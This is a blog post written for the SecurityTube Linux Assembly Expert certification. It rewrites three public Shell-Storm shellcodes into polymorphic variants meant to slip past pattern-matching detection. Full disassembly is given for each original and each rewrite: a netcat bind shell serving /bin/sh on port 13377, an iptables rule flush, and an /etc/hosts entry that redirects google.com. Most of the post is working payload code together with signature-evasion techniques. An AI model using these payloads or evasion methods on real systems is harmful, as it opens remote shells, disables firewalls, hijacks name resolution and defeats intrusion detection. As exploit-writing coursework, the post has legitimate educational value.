The blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-990
Assignment #6
Description
- Take up 3 shellcodes from Shell-Storm and create polymorphic versions of them to beat pattern matching
- The polymorphic versions cannot be larger than 150% of the existing shellcode
- Bonus points for making it shorter in length than original
Shellcode 1: shellcode-804.php
Location: http://shell-storm.org/shellcode/files/shellcode-804.php
What it does
If we run the shellcode with strace we can see the command it ends up executing. In the case of this executable it runs “/bin//////nc -lvve/bin/sh -vp13377”. All of the text for these commands are pushed onto the stack and the registers are loaded up with pointers to the stack with their locations.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
[sengen@manjaro-x86 assignment6]$ strace -e execve ./shellcode-804
execve("./shellcode-804", ["./shellcode-804"], 0xbfa21108 /* 55 vars */) = 0
execve("/bin//////nc", ["/bin//////nc", "-lvve/bin/sh", "-vp13377\1"], NULL) = 0
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: CB02 CE67 7AE9 8A2B 64F0 6EA5 82B2 DE8B 869D 365C
NCAT DEBUG: Initialized fdlist with 103 maxfds
Ncat: Listening on :::13377
NCAT DEBUG: Added fd 3 to list, nfds 1, maxfd 3
Ncat: Listening on 0.0.0.0:13377
NCAT DEBUG: Added fd 4 to list, nfds 2, maxfd 4
NCAT DEBUG: Added fd 0 to list, nfds 3, maxfd 4
NCAT DEBUG: Initialized fdlist with 100 maxfds
NCAT DEBUG: selecting, fdmax 4
The original shellcode
The starting shellcode is pretty straight forward and pushes the exactly text for the command onto the stack for execve to execute. The original size of this shellcode is 64 bytes (150% would be 96 bytes).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
08048080 <_start>:
8048080: 31 c0 xor eax,eax
8048082: 31 d2 xor edx,edx
8048084: 68 33 33 37 37 push 0x37373333 ; "7733"
8048089: 68 2d 76 70 31 push 0x3170762d ; "1pv-"
804808e: 89 e2 mov edx,esp
8048090: 50 push eax
8048091: 68 6e 2f 73 68 push 0x68732f6e ; "hs/n"
8048096: 68 65 2f 62 69 push 0x69622f65 ; "ib/e"
804809b: 68 2d 6c 76 76 push 0x76766c2d ; "vvl-"
80480a0: 89 e1 mov ecx,esp
80480a2: 50 push eax
80480a3: 68 2f 2f 6e 63 push 0x636e2f2f ; "cn//"
80480a8: 68 2f 2f 2f 2f push 0x2f2f2f2f ; "////"
80480ad: 68 2f 62 69 6e push 0x6e69622f ; "nib/"
80480b2: 89 e3 mov ebx,esp
80480b4: 50 push eax
80480b5: 52 push edx
80480b6: 51 push ecx
80480b7: 53 push ebx
80480b8: 31 d2 xor edx,edx
80480ba: 89 e1 mov ecx,esp
80480bc: b0 0b mov al,0xb
80480be: cd 80 int 0x80
The changes
To change the instructions around a bit so the opcodes become quite different from the original I’ve changed the hex that is being pushed to the stack by first calculating offline what add dword [esp],0x11111111
to each dword would be. The resulting dwords are what are placed in the assembly and pushed to the stack. Additionally, the null bytes between each string are now 0x11111111.
Once this is in place I let the stack build up with the mangled values right up to the point of where the execve would be called. The stack now looks like the following:
1
2
3
4
5
gdb$ x/14wx $esp
0xbffff0c8: 0xbffff0d8 0xbffff0e8 0xbffff0f8 0x11111111
0xbffff0d8: 0x7f7a7340 0x40404040 0x747f4040 0x11111111
0xbffff0e8: 0x87877d3e 0x7a734076 0x7984407f 0x11111111
0xbffff0f8: 0x4281873e 0x48484444
The first three dwords are pointers to the stack where the strings are located so we don’t want to touch those. However, the 4th to 14th consecutive dword in the stack need to have sub dword [esp],0x11111111
applied to it.
I use the following loop to accomplish this:
1
2
3
4
sub_loop:
sub dword [esp+8+ecx*4],0x11111111
dec cx
jnz sub_loop
The stack now looks like:
1
2
3
4
5
gdb$ x/14wx $esp
0xbffff0c8: 0xbffff0d8 0xbffff0e8 0xbffff0f8 0x00000000
0xbffff0d8: 0x6e69622f 0x2f2f2f2f 0x636e2f2f 0x00000000
0xbffff0e8: 0x76766c2d 0x69622f65 0x68732f6e 0x00000000
0xbffff0f8: 0x3170762d 0x37373333
This modified shellcode resulted in 86 bytes which is around 134% of the original.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
08048080 <_start>:
8048080: 31 c0 xor eax,eax
8048082: b8 11 11 11 11 mov eax,0x11111111
8048087: 31 d2 xor edx,edx
8048089: 68 44 44 48 48 push 0x48484444 ; "HHDD"
804808e: 68 3e 87 81 42 push 0x4281873e ; "B>"
8048093: 89 e2 mov edx,esp
8048095: 50 push eax
8048096: 68 7f 40 84 79 push 0x7984407f ; "y@"
804809b: 68 76 40 73 7a push 0x7a734076 ; "zs@v"
80480a0: 68 3e 7d 87 87 push 0x87877d3e ; "}>"
80480a5: 89 e1 mov ecx,esp
80480a7: 50 push eax
80480a8: 68 40 40 7f 74 push 0x747f4040 ; "t@@"
80480ad: 68 40 40 40 40 push 0x40404040 ; "@@@@"
80480b2: 68 40 73 7a 7f push 0x7f7a7340 ; "zs@"
80480b7: 89 e3 mov ebx,esp
80480b9: 50 push eax
80480ba: 52 push edx
80480bb: 51 push ecx
80480bc: 53 push ebx
80480bd: 31 d2 xor edx,edx
80480bf: b0 0b mov al,0xb
80480c1: 31 c9 xor ecx,ecx
80480c3: b1 0b mov cl,0xb
80480c5: 89 c8 mov eax,ecx
080480c7 <sub_loop>:
80480c7: 81 6c 8c 08 11 11 11 sub DWORD PTR [esp+ecx*4+0x8],0x11111111
80480ce: 11
80480cf: 66 49 dec cx
80480d1: 75 f4 jne 80480c7 <sub_loop>
80480d3: 89 e1 mov ecx,esp
80480d5: cd 80 int 0x80
Shellcode 2: shellcode-65.php
Location: http://shell-storm.org/shellcode/files/shellcode-65.php
What it does
This shellcode flushes all rules using ipchains. Note: I have made a slight modification to the original shellcode in which it will use iptables instead of ipchains.
The original shellcode
The size of the shellcode is 40 bytes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
08048080 <_start>:
8048080: 6a 0b push 0xb ;
8048082: 58 pop eax ; eax = 11 (execve)
8048083: 99 cdq ; edx = 0 (eax extend)
8048084: 52 push edx ; push null byte to stack
8048085: 66 68 2d 46 pushw 0x462d ; "F-"
8048089: 89 e1 mov ecx,esp ; ecx = pointer to "-F"
804808b: 52 push edx ; push null byte to stack
804808c: 66 68 65 73 pushw 0x7365 ; "se"
8048090: 68 74 61 62 6c push 0x6c626174 ; "lbat"
8048095: 68 6e 2f 69 70 push 0x70692f6e ; "pi/n"
804809a: 68 2f 73 62 69 push 0x6962732f ; "ibs/"
804809f: 89 e3 mov ebx,esp ; ebx = /sbin/iptables
80480a1: 52 push edx ; push edx (\0)
80480a2: 51 push ecx ; push ecx (-F)
80480a3: 53 push ebx ; push ebx (/sbin/iptables)
80480a4: 89 e1 mov ecx,esp ; ecx = pointer to stack
80480a6: cd 80 int 0x80 ; execve
The changes
In this example the changes are made by doing three things different: Changing registers used, changing order in which strings are pushed to the stack, and changing the program path by adding in some slashes.
Changing registers
EDX is no longer used in the new shellcode and instead EAX is used to push null bytes. At the very end we re-use this register to indirectly push 11 into it.
1
2
3
4
xor eax,eax
...
mov ax,0xa
inc ax
Changing order of pushes
The original shellcode pushed in the expected order of “-F” then “/sbin/iptables”. In the new version this is flipped but of course, in the end we still must push the pointers to the strings in the proper order and that cannot change.
Changing program path
Finally, we change the program path from “/sbin/iptables” to “//sbin//iptables”. We can add as many slashes as we want and this has no effect on things executing properly. Performing this small action changes the opcodes.
Before:
1
2
3
4
66 68 65 73 pushw 0x7365
68 74 61 62 6c push 0x6c626174
68 6e 2f 69 70 push 0x70692f6e
68 2f 73 62 69 push 0x6962732f
After:
1
2
3
4
68 62 6c 65 73 push 0x73656c62
68 69 70 74 61 push 0x61747069
68 69 6e 2f 2f push 0x2f2f6e69
68 2f 2f 73 62 push 0x62732f2f
The final shellcode is just slightly larger than the original and sits at 45 bytes (about a 107% of the original).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
08048080 <_start>:
8048080: 31 c0 xor eax,eax
8048082: 50 push eax
8048083: 68 62 6c 65 73 push 0x73656c62
8048088: 68 69 70 74 61 push 0x61747069
804808d: 68 69 6e 2f 2f push 0x2f2f6e69
8048092: 68 2f 2f 73 62 push 0x62732f2f
8048097: 89 e3 mov ebx,esp
8048099: 50 push eax
804809a: 66 68 2d 46 pushw 0x462d
804809e: 89 e1 mov ecx,esp
80480a0: 50 push eax
80480a1: 51 push ecx
80480a2: 53 push ebx
80480a3: 89 e1 mov ecx,esp
80480a5: b0 0a mov al,0xa
80480a9: 66 40 inc ax
80480ab: cd 80 int 0x80
Shellcode 3: shellcode-893.php
Location: http://shell-storm.org/shellcode/files/shellcode-893.php
What it does
This shellcode will add a new entry into the /etc/hosts file for “127.1.1.1 google.com”.
The original shellcode
The shellcode takes up 77 bytes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
08048080 <_start>:
8048080: 31 c9 xor ecx,ecx
8048082: f7 e1 mul ecx
8048084: b0 05 mov al,0x5
8048086: 51 push ecx
8048087: 68 6f 73 74 73 push 0x7374736f
804808c: 68 2f 2f 2f 68 push 0x682f2f2f
8048091: 68 2f 65 74 63 push 0x6374652f
8048096: 89 e3 mov ebx,esp
8048098: 66 b9 01 04 mov cx,0x401
804809c: cd 80 int 0x80
804809e: 93 xchg ebx,eax
804809f: 6a 04 push 0x4
80480a1: 58 pop eax
80480a2: eb 10 jmp 80480b4 <_load_data>
080480a4 <_write>:
80480a4: 59 pop ecx
80480a5: 6a 14 push 0x14
80480a7: 5a pop edx
80480a8: cd 80 int 0x80
80480aa: 6a 06 push 0x6
80480ac: 58 pop eax
80480ad: cd 80 int 0x80
80480af: 6a 01 push 0x1
80480b1: 58 pop eax
80480b2: cd 80 int 0x80
080480b4 <_load_data>:
80480b4: e8 eb ff ff ff call 80480a4 <_write>
080480b9 <google>:
80480b9: 31 32 xor DWORD PTR [edx],esi
80480bb: 37 aaa
80480bc: 2e 31 2e xor DWORD PTR cs:[esi],ebp
80480bf: 31 2e xor DWORD PTR [esi],ebp
80480c1: 31 20 xor DWORD PTR [eax],esp
80480c3: 67 6f outs dx,DWORD PTR ds:[si]
80480c5: 6f outs dx,DWORD PTR ds:[esi]
80480c6: 67 6c ins BYTE PTR es:[di],dx
80480c8: 65 2e 63 6f 6d gs arpl WORD PTR cs:[edi+0x6d],bp
The changes
We start by changing the way we zero out our registers. Instead of using the mul
instruction we just zero out EAX and then use cdq
to extend EAX to EDX affectively zeroing out EDX. We also use push/pop to setup our syscall values as opposed to mov statements.
1
2
3
4
5
xor eax,eax
cdq
...
push byte 5
pop eax
Instead of pushing the hex for /etc/hosts to the stack moving a pointer of ESP to EBX we instead opt to use the jmp/call/pop technique to acquire this value and save it into EBX. This saves us some space which allows us to get a smaller shellcode than the original.
1
2
3
4
5
6
jmp short _file
_file_load:
pop ebx
_file:
call _file_load
db "/etc/hosts"
The resulting shellcode size is 71 bytes which is smaller than the 77 bytes of the original. The new code is shown below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
08048080 <_start>:
8048080: 31 c0 xor eax,eax
8048082: 99 cdq
8048083: 6a 05 push 0x5
8048085: 58 pop eax
8048086: 52 push edx
8048087: eb 36 jmp 80480bf <_file>
08048089 <_file_load>:
8048089: 5b pop ebx
804808a: 66 b9 01 04 mov cx,0x401
804808e: cd 80 int 0x80
8048090: 93 xchg ebx,eax
8048091: 6a 04 push 0x4
8048093: 58 pop eax
8048094: eb 10 jmp 80480a6 <_load_data>
08048096 <_write>:
8048096: 59 pop ecx
8048097: 6a 14 push 0x14
8048099: 5a pop edx
804809a: cd 80 int 0x80
804809c: 6a 06 push 0x6
804809e: 58 pop eax
804809f: cd 80 int 0x80
80480a1: 6a 01 push 0x1
80480a3: 58 pop eax
80480a4: cd 80 int 0x80
080480a6 <_load_data>:
80480a6: e8 eb ff ff ff call 8048096 <_write>
80480ab: 31 32 xor DWORD PTR [edx],esi
80480ad: 37 aaa
80480ae: 2e 31 2e xor DWORD PTR cs:[esi],ebp
80480b1: 31 2e xor DWORD PTR [esi],ebp
80480b3: 31 20 xor DWORD PTR [eax],esp
80480b5: 67 6f outs dx,DWORD PTR ds:[si]
80480b7: 6f outs dx,DWORD PTR ds:[esi]
80480b8: 67 6c ins BYTE PTR es:[di],dx
80480ba: 65 2e 63 6f 6d gs arpl WORD PTR cs:[edi+0x6d],bp
080480bf <_file>:
80480bf: e8 c5 ff ff ff call 8048089 <_file_load>
80480c4: 2f das
80480c5: 65 74 63 gs je 804812b <_end+0x5b>
80480c8: 2f das
80480c9: 68 6f 73 74 73 push 0x7374736f
Source code
All source code for this assignment can be found at
https://github.com/tdmathison/SLAE32/tree/master/assignment6.